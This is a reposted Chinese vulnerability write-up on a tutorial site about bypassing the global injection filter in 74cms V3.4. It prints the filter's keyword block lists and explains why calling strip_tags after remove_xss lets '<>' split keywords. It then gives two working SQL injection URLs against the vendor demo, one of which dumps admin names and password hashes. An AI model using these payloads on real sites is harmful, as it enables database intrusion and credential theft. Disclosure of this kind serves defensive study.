网站地图    收藏   

主页 > 后端 > 网站安全 >

74cms(20140709)全局注入过滤绕过 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 74cms V3 4 20140709先看remove_xss 函数 include common fun php:function remove_xss($string) { $string = preg_replace( 39; [ x00- x08 x0B x0C x0E- x1F x7F]+ S 39;, 39; 39;, $s...

74cms V3.4.20140709

先看remove_xss 函数 include/common.fun.php:

function remove_xss($string) { 
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);

    $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

    $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

$parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','update','insert','delete','create','alter','drop','truncate');  //关键字过滤

    $parm = array_merge($parm1, $parm2, $parm3); 

for ($i = 0; $i < sizeof($parm); $i++) { 
$pattern = '/'; 
for ($j = 0; $j < strlen($parm[$i]); $j++) { 
if ($j > 0) { 
$pattern .= '('; 
$pattern .= '(&#[x|X]0([9][a][b]);?)?'; 
$pattern .= '|(&#0([9][10][13]);?)?'; 
$pattern .= ')?'; 
}
$pattern .= $parm[$i][$j]; 
}
$pattern .= '/i';
$string = preg_replace($pattern, '****', $string); //替换为4个星号
}
return $string;
}

再看 remove_xss函数调用地方:

function mystrip_tags($string)
{
$string = remove_xss($string);
$string = new_html_special_chars($string);
$string = strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.
return $string;
}



过分依赖过滤函数迟早会出问题,还是老老实实从源头上修补吧。

漏洞证明:

回看 WooYun: 74cms 最新版 注入8-9

官方demo演示:
 

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=錦' a<>nd 1=2 un<>ion sel<>ect 1,group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash),3 fr<>om qs_admin%23

 

1.png

 

http://demo.74cms.com/plus/ajax_officebuilding.php?act=key&key=錦' a<>nd 1=2 un<>ion sel<>ect 1,2,3,user(),5,6,7,8,9%23

 

2.png



顺带着狗狗也被绕过.

修复方案:

你懂de.

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论